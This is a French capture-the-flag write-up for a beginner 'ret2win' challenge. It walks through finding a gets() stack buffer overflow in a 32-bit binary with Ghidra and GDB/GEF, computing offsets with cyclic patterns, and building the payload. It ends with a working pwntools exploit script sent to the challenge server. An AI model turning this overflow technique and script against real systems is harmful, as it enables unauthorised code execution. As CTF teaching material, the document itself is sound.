Pwn0x01

Flag: StarHack{YOU_WON!!}

Challenge

Description


return to win!!!

nc 35.180.44.229 1235

Solution

On commence par dΓ©compiler le binaire, ici, j'utilise Ghidra. On peut noter 4 choses importantes :

  • La fonction portalGun utilise gets, cette fonction est vulnΓ©rable aux Buffers Overflow.

  • La fonction callMe permet d'afficher le flag, il faut donc faire en sorte de l'appeler.

  • La fonction callMe est Γ  l'adresse 0x080485c6.

  • Le paramΓ¨tre de la fonction callMe doit Γͺtre Γ©gal Γ  0xdeadbeef

Maintenant, on va passer sur GDB (avec le plugin GEF) pour débugger tout ça. Le buffer qui prend notre input à une taille de 0x44 (68). Notre objectif est de le dépasser pour insérer l'adresse de callMe dans EIP et mettre 0xdeadbeef en paramètre. La commande cyclic permet de générer des patterns et ainsi repérer le nombre de caractères à entrer pour arriver à modifier un endroit spécifique.

gef➀  r <<(cyclic 100)

hey Morty give an adress for my portal Gun

Program received signal SIGSEGV, Segmentation fault.
0x61616174 in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax   : 0xffffcf60  β†’  "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama[...]"
$ebx   : 0x61616172 ("raaa"?)
$ecx   : 0xf7e258ac  β†’  0x00000000
$edx   : 0x0       
$esp   : 0xffffcfb0  β†’  "uaaavaaawaaaxaaayaaa"
$ebp   : 0x61616173 ("saaa"?)
$esi   : 0x8048730  β†’  <__libc_csu_init+0> push ebp
$edi   : 0xf7ffcb80  β†’  0x00000000
$eip   : 0x61616174 ("taaa"?)
$eflags: [zero carry PARITY adjust SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x00 $gs: 0x63 
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffcfb0β”‚+0x0000: "uaaavaaawaaaxaaayaaa"       ← $esp
0xffffcfb4β”‚+0x0004: "vaaawaaaxaaayaaa"
0xffffcfb8β”‚+0x0008: "waaaxaaayaaa"
0xffffcfbcβ”‚+0x000c: "xaaayaaa"
0xffffcfc0β”‚+0x0010: "yaaa"
0xffffcfc4β”‚+0x0014: 0x00000000
0xffffcfc8β”‚+0x0018: 0xf7c3c819  β†’  <__new_exitfn+9> add ebx, 0x1e761b
0xffffcfccβ”‚+0x001c: 0xf7c23c65  β†’  <__libc_start_call_main+117> add esp, 0x10
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x61616174
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "task_new", stopped 0x61616174 in ?? (), reason: SIGSEGV

EIP contient taaa, on cherche donc l'offset de cette valeur :

gef➀  shell cyclic -l taaa
76

Il faut donc 76 caractères pour atteindre EIP. On va donc envoyer 76 * A puis l'adresse de callMe (à l'envers puisque little endian).

gef➀  r <<(echo $(python -c 'print("A"*76 + "\xc6\x85\x04\x08")')$(cyclic 40))

hey Morty give an adress for my portal Gun

Program received signal SIGSEGV, Segmentation fault.
0x61616161 in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax   : 0x804b1a0  β†’  0xfbad2488
$ebx   : 0x41414141 ("AAAA"?)
$ecx   : 0x2c00    
$edx   : 0x2c2c2c2c (",,,,"?)
$esp   : 0xffffcfb4  β†’  "baaacaaadaaaeaaafaaagaaahaaaiaaajaaa"
$ebp   : 0x41414141 ("AAAA"?)
$esi   : 0x8048730  β†’  <__libc_csu_init+0> push ebp
$edi   : 0xf7ffcb80  β†’  0x00000000
$eip   : 0x61616161 ("aaaa"?)
$eflags: [zero CARRY parity ADJUST SIGN trap INTERRUPT direction OVERFLOW RESUME virtualx86 identification]
$cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x00 $gs: 0x63 
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffcfb4β”‚+0x0000: "baaacaaadaaaeaaafaaagaaahaaaiaaajaaa"       ← $esp
0xffffcfb8β”‚+0x0004: "caaadaaaeaaafaaagaaahaaaiaaajaaa"
0xffffcfbcβ”‚+0x0008: "daaaeaaafaaagaaahaaaiaaajaaa"
0xffffcfc0β”‚+0x000c: "eaaafaaagaaahaaaiaaajaaa"
0xffffcfc4β”‚+0x0010: "faaagaaahaaaiaaajaaa"
0xffffcfc8β”‚+0x0014: "gaaahaaaiaaajaaa"
0xffffcfccβ”‚+0x0018: "haaaiaaajaaa"
0xffffcfd0β”‚+0x001c: "iaaajaaa"
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x61616161
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "task_new", stopped 0x61616161 in ?? (), reason: SIGSEGV

ESP + 0, qui correspond à notre premier paramètre de la fonction callMe, contient baaa. On calcule son offset :

gef➀  shell cyclic -l baaa
4

On doit mettre 4 caractères random de plus après notre adresse pour accéder au paramètre de la fonction et mettre 0xdeadbeef dedans. J'ai ajouté flag.txt avec un faux flag dedans pour tester notre payload. Ça nous donne :

gef➀  r <<(echo $(python -c 'print("A"*76 + "\xc6\x85\x04\x08") + "B"*4 + "\xef\xbe\xad\xde"'))

hey Morty give an adress for my portal Gun
FakeFlag{exploitation_locale_faite}

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax   : 0x23      
$ebx   : 0x41414141 ("AAAA"?)
$ecx   : 0x0       
$edx   : 0x0       
$esp   : 0xffffcfb4  β†’  0xdeadbeef
$ebp   : 0x41414141 ("AAAA"?)
$esi   : 0x8048730  β†’  <__libc_csu_init+0> push ebp
$edi   : 0xf7ffcb80  β†’  0x00000000
$eip   : 0x42424242 ("BBBB"?)
$eflags: [zero carry parity adjust SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x00 $gs: 0x63 
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffcfb4β”‚+0x0000: 0xdeadbeef   ← $esp
0xffffcfb8β”‚+0x0004: 0x00000000
0xffffcfbcβ”‚+0x0008: 0xf7c23c65  β†’  <__libc_start_call_main+117> add esp, 0x10
0xffffcfc0β”‚+0x000c: 0x00000000
0xffffcfc4β”‚+0x0010: 0x00000000
0xffffcfc8β”‚+0x0014: 0xf7c3c819  β†’  <__new_exitfn+9> add ebx, 0x1e761b
0xffffcfccβ”‚+0x0018: 0xf7c23c65  β†’  <__libc_start_call_main+117> add esp, 0x10
0xffffcfd0β”‚+0x001c: 0x00000001
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x42424242
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "task_new", stopped 0x42424242 in ?? (), reason: SIGSEGV

Le programme crash, mais on a bien eu le flag. Plus qu'Γ  envoyer notre payload au serveur, j'utilise Python avec la librairie pwntools :

from pwn import *

context.log_level = 'error'

filler = b'A' * 76
address = p32(0x080485c6)
dummy = b'B' * 4
param_1 = p32(0xdeadbeef)
payload =  filler + address + dummy + param_1

client = remote('35.180.44.229', 1235)
client.recvuntil(b'Gun\n')

client.sendline(payload)
client.interactive()
$ python chall.py
StarHack{YOU_WON!!}

Dernière mise à jour

Cet article vous a-t-il Γ©tΓ© utile ?